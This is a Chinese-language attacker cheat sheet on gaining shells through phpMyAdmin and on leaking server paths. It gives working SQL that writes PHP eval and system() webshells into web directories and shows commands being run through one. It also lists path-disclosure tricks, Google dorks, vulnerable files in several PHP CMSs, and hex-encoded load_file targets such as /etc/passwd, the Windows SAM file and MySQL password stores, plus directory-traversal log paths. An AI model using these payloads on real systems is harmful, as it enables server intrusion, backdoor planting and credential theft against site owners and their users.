爆路径写后门拿shell的一些姿势

[PhpMyAdmin后台拿Shell]
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma INTO OUTFILE 'E:/wamp/www/7.php';
以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php 一句话连接密码：xiaoma

Create TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS xiaoma;

create database wutongyu(这个为数据库名称).
use wutongyu (连接数据库)
create table shell(code text) (建立表shell，字段code为文本型数据)
insert into shell(code) values ('<?php @eval($_POST['c']);?>'); (插入一句话，密码为C)
select * from shell into outfile "D:\\detai\\AppServ\\www\\phpMyAdmin2\\shell.php" (导出shell到绝对路径)

PhpMyAdmin导出WebShell至中文路径
set character_set_client='gbk';
set character_set_connection='gbk';
set character_set_database='gbk';
set character_set_results='gbk';
set character_set_server='gbk';
select '<?php eval($_POST[cmd]);?>' into outfile 'd:\www\网站\mm.php';

读取文件内容：select load_file('E:/xamp/www/s.php');
写一句话： select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'
cmd执行权限： select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'

select load_file('E:/xamp/www/xiaoma.php');
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
然后访问网站目录：http://www.xxxx.com/xiaoma.php?cmd=dir

[PHP爆路径方法]
1、单引号爆路径
说明：直接在URL后面加单引号，要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=149′
2、错误参数值爆路径
说明：将要提交的参数值改成错误值，比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1
3、Google爆路径
说明：结合关键字和site语法搜索出错页面的网页快照，常见关键字有warning和fatal error。注意，如果目标站点是二级域名，site接的是其对应的顶级域名，这样得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”
4、测试文件爆路径
说明：很多网站的根目录下都存在测试文件，脚本代码通常都是phpinfo()。
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
5、PhpMyAdmin爆路径
说明：一旦找到phpmyadmin的管理页面，再访问该目录下的某些特定文件，就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫，也可以选择google。
1. /phpmyadmin/libraries/lect_lang.lib.php
2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
4. load_file()
5./phpmyadmin/themes/darkblue_orange/layout.inc.php
6./phpmyadmin/libraries/select_lang.lib.php
7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php
6、配置文件找路径
说明：如果注入点有文件读取权限，就可以手工load_file或工具读取配置文件，再从中寻找路径信息（一般在文件末尾）。各平台下Web服务器和PHP的配置文件默认路径可以上网查，这里列举常见的几个。
Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件
Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf

/usr/local/apache/conf/vhosts.conf

/usr/local/apache2/conf/httpd.conf

/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件

还在为load_file读取不知道该读取什么游泳的信息麽？看看下面

3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

4、/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件

5、c:/Program Files/Apache Group/Apache/conf/httpd.conf 或C:/apache/conf/httpd.conf 查看WINDOWS系统apache文件

6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.

7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

8、d:/APACHE/Apache2/conf/httpd.conf

9、C:/Program Files/mysql/my.ini

10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径

11、 c:/windows/system32/inetsrv/MetaBase.xml 查看IIS的虚拟主机配置文件

12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上

14 、/usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE虚拟主机查看

15、 /etc/sysconfig/iptables 本看防火墙策略

16 、 /usr/local/app/php5 b/php.ini PHP 的相当设置

17 、/etc/my.cnf MYSQL的配置文件

18、 /etc/redhat-release 红帽子的系统版本

19 、C:/mysql/data/mysql/user.MYD 存在MYSQL系统中的用户密码

20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.

21、/usr/local/app/php5 b/php.ini //PHP相关设置

22、/usr/local/app/apache2/conf/extratpd-vhosts.conf //虚拟网站设置

23、c:/Program Files/RhinoSoft.com/Serv-U/ServUDaemon.ini

24、c:/windows/my.ini

25、/etc/issue 显示Linux核心的发行版本信息

26、/etc/ftpuser

27、查看LINUX用户下的操作记录文件.bash_history 或 .bash_profile

28、/etc/ssh/ssh_config

/etc/httpd/logs/error_log
/etc/httpd/logs/error.log 
/etc/httpd/logs/access_log 
/etc/httpd/logs/access.log 
/var/log/apache/error_log 
/var/log/apache/error.log 
/var/log/apache/access_log 
/var/log/apache/access.log 
/var/log/apache2/error_log 
/var/log/apache2/error.log 
/var/log/apache2/access_log 
/var/log/apache2/access.log 
/var/www/logs/error_log 
/var/www/logs/error.log 
/var/www/logs/access_log 
/var/www/logs/access.log 
/usr/local/apache/logs/error_log 
/usr/local/apache/logs/error.log 
/usr/local/apache/logs/access_log 
/usr/local/apache/logs/access.log 
/var/log/error_log 
/var/log/error.log 
/var/log/access_log 
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp

../../../../../../../../../../var/log/httpd/access_log 
../../../../../../../../../../var/log/httpd/error_log 
../apache/logs/error.log 
../apache/logs/access.log 
../../apache/logs/error.log 
../../apache/logs/access.log 
../../../apache/logs/error.log 
../../../apache/logs/access.log 
../../../../../../../../../../etc/httpd/logs/acces_log 
../../../../../../../../../../etc/httpd/logs/acces.log 
../../../../../../../../../../etc/httpd/logs/error_log 
../../../../../../../../../../etc/httpd/logs/error.log 
../../../../../../../../../../var/www/logs/access_log 
../../../../../../../../../../var/www/logs/access.log 
../../../../../../../../../../usr/local/apache/logs/access_log 
../../../../../../../../../../usr/local/apache/logs/access.log 
../../../../../../../../../../var/log/apache/access_log 
../../../../../../../../../../var/log/apache/access.log 
../../../../../../../../../../var/log/access_log 
../../../../../../../../../../var/www/logs/error_log 
../../../../../../../../../../var/www/logs/error.log 
../../../../../../../../../../usr/local/apache/logs/error_log 
../../../../../../../../../../usr/local/apache/logs/error.log 
../../../../../../../../../../var/log/apache/error_log 
../../../../../../../../../../var/log/apache/error.log 
../../../../../../../../../../var/log/access_log 
../../../../../../../../../../var/log/error_log 
/var/log/httpd/access_log 
/var/log/httpd/error_log 
../apache/logs/error.log 
../apache/logs/access.log 
../../apache/logs/error.log 
../../apache/logs/access.log 
../../../apache/logs/error.log 
../../../apache/logs/access.log 
/etc/httpd/logs/acces_log 
/etc/httpd/logs/acces.log 
/etc/httpd/logs/error_log 
/etc/httpd/logs/error.log 
/var/www/logs/access_log 
/var/www/logs/access.log 
/usr/local/apache/logs/access_log 
/usr/local/apache/logs/access.log 
/var/log/apache/access_log 
/var/log/apache/access.log 
/var/log/access_log 
/var/www/logs/error_log 
/var/www/logs/error.log 
/usr/local/apache/logs/error_log 
/usr/local/apache/logs/error.log 
/var/log/apache/error_log 
/var/log/apache/error.log 
/var/log/access_log 
/var/log/error_log

WINDOWS下:

c:/boot.ini //查看系统版本 0x633A2F626F6F742E696E690D0A
c:/windows/system32/boot.bat
c:/windows/php.ini //php配置信息 0x633A2F77696E646F77732F7068702E696E69

c:/windows/my.ini //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码 0x633A2F77696E646F77732F6D792E696E69

c:/winnt/php.ini 0x633A2F77696E6E742F7068702E696E69

c:/winnt/my.ini 0x633A2F77696E6E742F6D792E696E69

c:/mysql/data/mysql/user.MYD //存储了mysql.user表中的数据库连接密码 0x633A5C6D7973716C5C646174615C6D7973716C5C757365722E4D5944

c:/Program Files/RhinoSoft.com/Serv-U/ServUDaemon.ini //存储了虚拟主机网站路径和密码

0x633A5C50726F6772616D2046696C65735C5268696E6F536F66742E636F6D5C536572762D555C53657276554461656D6F6E2E696E69

c:/Program Files/Serv-U/ServUDaemon.ini 0x633A5C50726F6772616D2046696C65735C536572762D555C53657276554461656D6F6E2E696E69

c:/windows/system32/inetsrv/MetaBase.xml //IIS配置文件

c:/windows/repair/sam //存储了WINDOWS系统初次安装的密码

c:/Program Files/ Serv-U/ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此

c:/Program Files/RhinoSoft.com/ServUDaemon.exe

C:/Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/*.cif 文件

//存储了pcAnywhere的登陆密码

c:/Program Files/Apache Group/Apache/conf /httpd.conf 或C:/apache/conf /httpd.conf //查看 WINDOWS系统apache文件 
0x633A5C50726F6772616D2046696C65735C4170616368652047726F75705C4170616368655C636F6E66205C68747470642E636F6E66

c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息. 0x633A2F526573696E2D332E302E31342F636F6E662F726573696E2E636F6E66

c:/Resin/conf/resin.conf 0x633A2F526573696E2F636F6E662F726573696E2E636F6E66

/usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机 0x2F7573722F6C6F63616C2F726573696E2F636F6E662F726573696E2E636F6E66

d:/APACHE/Apache2/conf/httpd.conf 0x643A5C4150414348455C417061636865325C636F6E665C68747470642E636F6E66

C:/Program Files/mysql/my.ini 0x433A5C50726F6772616D2046696C65735C6D7973716C5C6D792E696E69

c:/windows/system32/inetsrv/MetaBase.xml 查看IIS的虚拟主机配置 0x633A5C77696E646F77735C73797374656D33325C696E65747372765C4D657461426173652E786D6C

C:/mysql/data/mysql/user.MYD 存在MYSQL系统中的用户密码 0x433A5C6D7973716C5C646174615C6D7973716C5C757365722E4D5944

LUNIX/UNIX下:

/etc/passwd 0x2F6574632F706173737764

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件 0x2F7573722F6C6F63616C2F6170702F617061636865322F636F6E662F68747470642E636F6E66

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 0x2F7573722F6C6F63616C2F6170702F617061636865322F636F6E662F65787472612F68747470642D76686F7374732E636F6E66

/usr/local/app/php5/lib/php.ini //PHP相关设置 0x2F7573722F6C6F63616C2F6170702F706870352F6C69622F7068702E696E69

/etc/sysconfig/iptables //从中得到防火墙规则策略 0x2F6574632F737973636F6E6669672F69707461626C657320

/etc/httpd/conf/httpd.conf // apache配置文件 0x2F6574632F68747470642F636F6E662F68747470642E636F6E66

/etc/rsyncd.conf //同步程序配置文件 0x2F6574632F7273796E63642E636F6E66

/etc/my.cnf //mysql的配置文件 0x2F6574632F6D792E636E66

/etc/redhat-release //系统版本 0x2F6574632F7265646861742D72656C65617365

/etc/issue 0x2F6574632F6973737565

/etc/issue.net 0x2F6574632F69737375652E6E6574

/usr/local/app/php5/lib/php.ini //PHP相关设置 0x2F7573722F6C6F63616C2F6170702F706870352F6C69622F7068702E696E69

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 0x2F7573722F6C6F63616C2F6170702F617061636865322F636F6E662F65787472612F68747470642D76686F7374732E636F6E66

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件 0x2F6574632F68747470642F636F6E662F68747470642E636F6E66

0x2F7573722F6C6F63616C2F61706368652F636F6E662F68747470642E636F6E66

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 0x2F7573722F6C6F63616C2F726573696E2D332E302E32322F636F6E662F726573696E2E636F6E66

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上 0x2F7573722F6C6F63616C2F726573696E2D70726F2D332E302E32322F636F6E662F726573696E2E636F6E66

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

0x2F7573722F6C6F63616C2F6170702F617061636865322F636F6E662F65787472612F68747470642D76686F7374732E636F6E66

/etc/sysconfig/iptables 查看防火墙策略 0x2F6574632F737973636F6E6669672F69707461626C6573

load_file(char(47)) 列出FreeBSD,Sunos系统根目录

7、nginx文件类型错误解析爆路径
说明：这是昨天无意中发现的方法，当然要求Web服务器是nginx，且存在文件类型解析漏洞。有时在图片地址后加/x.php，该图片不但会被当作php文件执行，还有可能爆出物理路径。
www.xxx.com/top.jpg/x.php
8、Other PHP
DeDeCms
/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
plus/paycenter/cbpayment/autoreceive.php
paycenter/nps/config_pay_nps.php
plus/task/dede-maketimehtml.php
plus/task/dede-optimize-table.php
plus/task/dede-upcache.php
WordPress
wp-admin/includes/file.php
wp-content/themes/baiaogu-seo/footer.php
Ecshop商城系统暴路径漏洞文件
/api/cron.php
/wap/goods.php
/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
/temp/compiled/recommend_promotion.lbi.php
/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
/temp/compiled/admin/start.htm.php
/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
/temp/compiled/admin/menu.htm.php
/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
/temp/compiled/admin/top.htm.php
/temp/compiled/top10.lbi.php
/temp/compiled/member_info.lbi.php
/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
/temp/compiled/page_header.lbi.php
/temp/compiled/goods_script.html.php
/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
/temp/compiled/brands.lbi.php
/temp/compiled/help.lbi.php
/temp/compiled/goods_gallery.lbi.php
/temp/compiled/comments.lbi.php
/temp/compiled/myship.lbi.php
/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
/includes/modules/cron/auto_manage.php
/includes/modules/cron/ipdel.php
Ucenter爆路径
ucenter\control\admin\db.php
DZbbs
manyou/admincp.php?my_suffix=%0A%0DTOBY57
Z-blog
admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php
Php168爆路径
admin/inc/hack/count.php?job=list
admin/inc/hack/search.php?job=getcode
admin/inc/ajax/bencandy.php?job=do
cache/MysqlTime.txt
PHPcms2008-sp4
注册用户登陆后访问
phpcms/corpandresize/process.php?pic=../images/logo.gif
CMSeasy爆网站路径漏洞
漏洞出现在menu_top.php这个文件中
lib/mods/celive/menu_top.php
/lib/default/ballot_act.php
lib/default/special_act.php